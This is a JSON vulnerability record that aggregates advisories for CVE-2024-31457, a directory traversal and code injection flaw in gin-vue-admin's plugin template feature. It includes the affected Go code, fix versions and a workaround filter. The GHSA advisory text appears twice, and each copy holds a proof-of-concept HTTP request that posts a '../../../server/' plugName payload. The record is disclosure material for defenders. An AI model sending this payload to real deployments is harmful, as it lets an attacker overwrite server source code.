{"id":"CVE-2024-31457","aliases":["EUVD-2024-1210","GHSA-gv3w-m57p-3wc4","GO-2024-2702"],"status":"published","title":"gin-vue-admin background arbitrary code coverage vulnerability","description":"gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the `plugName` parameter. They can create specific folders such as `api`, `config`, `global`, `model`, `router`, `service`, and `main.go` function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00904,"percentile":0.60106,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2024-04-09T16:22:21Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"Go","package":"github.com/flipped-aurora/gin-vue-admin/server","fixed_in":["0.0.0-20240409100909-b1b7427c6ea6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/flipped-aurora/gin-vue-admin/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20240409100909-b1b7427c6ea6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/flipped-aurora/gin-vue-admin/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20240409100909-b1b7427c6ea6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/flipped-aurora/gin-vue-admin/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20240409100909-b1b7427c6ea6"}]}]}],"products":[{"vendor":"flipped-aurora","product":"gin-vue-admin"}],"references":[{"url":"https://github.com/flipped-aurora/gin-vue-admin/security/advisories/GHSA-gv3w-m57p-3wc4","tags":["x_refsource_CONFIRM","x_transferred","advisory","web"]},{"url":"https://github.com/flipped-aurora/gin-vue-admin/commit/b1b7427c6ea6c7a027fa188c6be557f3795e732b","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://pkg.go.dev/github.com/flipped-aurora/gin-vue-admin/server?tab=versions","tags":["x_refsource_MISC","x_transferred","web"]},{"url":"https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-31457","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gv3w-m57p-3wc4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/31xxx/CVE-2024-31457.json","tags":["advisory"]},{"url":"https://github.com/flipped-aurora/gin-vue-admin","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-31457","title":"gin-vue-admin background arbitrary code coverage vulnerability","description":"gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the `plugName` parameter. They can create specific folders such as `api`, `config`, `global`, `model`, `router`, `service`, and `main.go` function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.","status":"published","published":"2024-04-09T17:39:52.347Z","modified":"2024-08-02T01:52:57.064Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:34:14.308905Z"}],"euvd":[{"id":"EUVD-2024-1210","description":"gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the `plugName` parameter. They can create specific folders such as `api`, `config`, `global`, `model`, `router`, `service`, and `main.go` function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.","status":"published","published":"2024-04-09T17:39:52Z","modified":"2024-08-02T01:52:57Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:24.06764Z"}],"ghsa":[{"id":"GHSA-gv3w-m57p-3wc4","title":"gin-vue-admin background arbitrary code coverage vulnerability","description":"### Impact\n\"gin-vue-admin\u003c=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter.\"\n\nAffected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.\n```go\nfunc (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {\n\tvar a system.AutoPlugReq\n\terr := c.ShouldBindJSON(\u0026a)\n\tif err != nil {\n\t\tresponse.FailWithMessage(err.Error(), c)\n\t\treturn\n\t}\n\ta.Snake = strings.ToLower(a.PlugName)\n\ta.NeedModel = a.HasRequest || a.HasResponse\n\terr = autoCodeService.CreatePlug(a)\n\tif err != nil {\n\t\tglobal.GVA_LOG.Error(\"预览失败!\", zap.Error(err))\n\t\tresponse.FailWithMessage(\"预览失败\", c)\n\t\treturn\n\t}\n\tresponse.Ok(c)\n}\n```\nThe main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.\n```go\ntype AutoPlugReq struct {\n\tPlugName    string         `json:\"plugName\"` // 必然大写开头\n\tSnake       string         `json:\"snake\"`    // 后端自动转为 snake\n\tRouterGroup string         `json:\"routerGroup\"`\n\tHasGlobal   bool           `json:\"hasGlobal\"`\n\tHasRequest  bool           `json:\"hasRequest\"`\n\tHasResponse bool           `json:\"hasResponse\"`\n\tNeedModel   bool           `json:\"needModel\"`\n\tGlobal      []AutoPlugInfo `json:\"global,omitempty\"`\n\tRequest     []AutoPlugInfo `json:\"request,omitempty\"`\n\tResponse    []AutoPlugInfo `json:\"response,omitempty\"`\n}\n```\nPOC：\n```\nPOST /api/autoCode/createPlug HTTP/1.1\nHost: 192.168.31.18:8080\nContent-Length: 326\nAccept: application/json, text/plain, */*\nx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nx-user-id: 1\nContent-Type: application/json\nOrigin: http://192.168.31.18:8080\nReferer: http://192.168.31.18:8080/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6\nCookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU\nConnection: close\n\n{\"plugName\":\"../../../server/\",\"routerGroup\":\"111\"\t,\"hasGlobal\":true,\"hasRequest\":false,\"hasResponse\":false,\"global\":[{\"key\":\"1\",\"type\":\"1\",\"desc\":\"1\"},{\"key\":\"type\",\"value\":\"faspohgoahgioahgioahgioashogia\",\"desc\":\"1\",\"type\":\"string\"}],\"request\":[{\"key\":\"\",\"type\":\"\",\"desc\":\"\"}],\"response\":[{\"key\":\"\",\"type\":\"\",\"desc\":\"\"}]}\n```\nBy performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\\代码审计\\server to further compromise the system.\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/c2cad65a-6401-41c2-ba0d-6eb5e3760516)\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/681ca156-c125-4a9f-9443-825a34a89b2d)\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/6870ce90-8166-48c7-a02c-29c4429283d4)\n\n\n### Patches\nPlease wait for the latest patch\n\n### Workarounds\nYou can use the following filtering methods to rectify the directory traversal problem\nif strings.Index(plugPath, \"..\") \u003e -1 {\n        fmt.Println(\"no bypass\",plugPath)\n    }\n### References\nhttps://github.com/flipped-aurora/gin-vue-admin\n","status":"published","published":"2024-04-09T16:22:21Z","modified":"2024-04-09T21:12:42Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:42.744468Z"}],"nvd":[{"id":"CVE-2024-31457","description":"gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the `plugName` parameter. They can create specific folders such as `api`, `config`, `global`, `model`, `router`, `service`, and `main.go` function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.","status":"published","published":"2024-04-09T18:15:10.263Z","modified":"2026-06-17T07:28:27.753Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:09:49.255123Z"}],"osv":[{"id":"CVE-2024-31457","title":"gin-vue-admin background arbitrary code coverage vulnerability","description":"gin-vue-admin is a backstage management system based on vue and gin, which separates the front and rear of the full stack. gin-vue-admin pseudoversion 0.0.0-20240407133540-7bc7c3051067, corresponding to version 2.6.1, has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the `plugName` parameter. They can create specific folders such as `api`, `config`, `global`, `model`, `router`, `service`, and `main.go` function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter. The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. Pseudoversion 0.0.0-20240409100909-b1b7427c6ea6, corresponding to commit b1b7427c6ea6c7a027fa188c6be557f3795e732b, contains a patch for the issue. As a workaround, one may manually use a filtering method available in the GitHub Security Advisory to rectify the directory traversal problem.","status":"published","published":"2024-04-09T17:39:52.347Z","modified":"2026-10-28T02:31:08.638684777Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:40.06138Z"},{"id":"GHSA-gv3w-m57p-3wc4","title":"gin-vue-admin background arbitrary code coverage vulnerability","description":"### Impact\n\"gin-vue-admin\u003c=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter.\"\n\nAffected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.\n```go\nfunc (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {\n\tvar a system.AutoPlugReq\n\terr := c.ShouldBindJSON(\u0026a)\n\tif err != nil {\n\t\tresponse.FailWithMessage(err.Error(), c)\n\t\treturn\n\t}\n\ta.Snake = strings.ToLower(a.PlugName)\n\ta.NeedModel = a.HasRequest || a.HasResponse\n\terr = autoCodeService.CreatePlug(a)\n\tif err != nil {\n\t\tglobal.GVA_LOG.Error(\"预览失败!\", zap.Error(err))\n\t\tresponse.FailWithMessage(\"预览失败\", c)\n\t\treturn\n\t}\n\tresponse.Ok(c)\n}\n```\nThe main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.\n```go\ntype AutoPlugReq struct {\n\tPlugName    string         `json:\"plugName\"` // 必然大写开头\n\tSnake       string         `json:\"snake\"`    // 后端自动转为 snake\n\tRouterGroup string         `json:\"routerGroup\"`\n\tHasGlobal   bool           `json:\"hasGlobal\"`\n\tHasRequest  bool           `json:\"hasRequest\"`\n\tHasResponse bool           `json:\"hasResponse\"`\n\tNeedModel   bool           `json:\"needModel\"`\n\tGlobal      []AutoPlugInfo `json:\"global,omitempty\"`\n\tRequest     []AutoPlugInfo `json:\"request,omitempty\"`\n\tResponse    []AutoPlugInfo `json:\"response,omitempty\"`\n}\n```\nPOC：\n```\nPOST /api/autoCode/createPlug HTTP/1.1\nHost: 192.168.31.18:8080\nContent-Length: 326\nAccept: application/json, text/plain, */*\nx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nx-user-id: 1\nContent-Type: application/json\nOrigin: http://192.168.31.18:8080\nReferer: http://192.168.31.18:8080/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6\nCookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU\nConnection: close\n\n{\"plugName\":\"../../../server/\",\"routerGroup\":\"111\"\t,\"hasGlobal\":true,\"hasRequest\":false,\"hasResponse\":false,\"global\":[{\"key\":\"1\",\"type\":\"1\",\"desc\":\"1\"},{\"key\":\"type\",\"value\":\"faspohgoahgioahgioahgioashogia\",\"desc\":\"1\",\"type\":\"string\"}],\"request\":[{\"key\":\"\",\"type\":\"\",\"desc\":\"\"}],\"response\":[{\"key\":\"\",\"type\":\"\",\"desc\":\"\"}]}\n```\nBy performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\\代码审计\\server to further compromise the system.\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/c2cad65a-6401-41c2-ba0d-6eb5e3760516)\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/681ca156-c125-4a9f-9443-825a34a89b2d)\n![image](https://github.com/flipped-aurora/gin-vue-admin/assets/142187061/6870ce90-8166-48c7-a02c-29c4429283d4)\n\n\n### Patches\nPlease wait for the latest patch\n\n### Workarounds\nYou can use the following filtering methods to rectify the directory traversal problem\nif strings.Index(plugPath, \"..\") \u003e -1 {\n        fmt.Println(\"no bypass\",plugPath)\n    }\n### References\nhttps://github.com/flipped-aurora/gin-vue-admin\n","status":"published","published":"2024-04-09T16:22:21Z","modified":"2026-09-10T03:50:11.266036536Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:48.191583Z"},{"id":"GO-2024-2702","title":"Code injection vulnerability in github.com/flipped-aurora/gin-vue-admin/server","description":"Gin-vue-admin has a code injection vulnerability in the backend. In the Plugin System -\u003e Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter.","status":"published","published":"2024-05-20T19:45:57Z","modified":"2024-05-20T20:13:47.338684Z","updated_at":"2026-11-02T15:47:01.453823Z"}]}}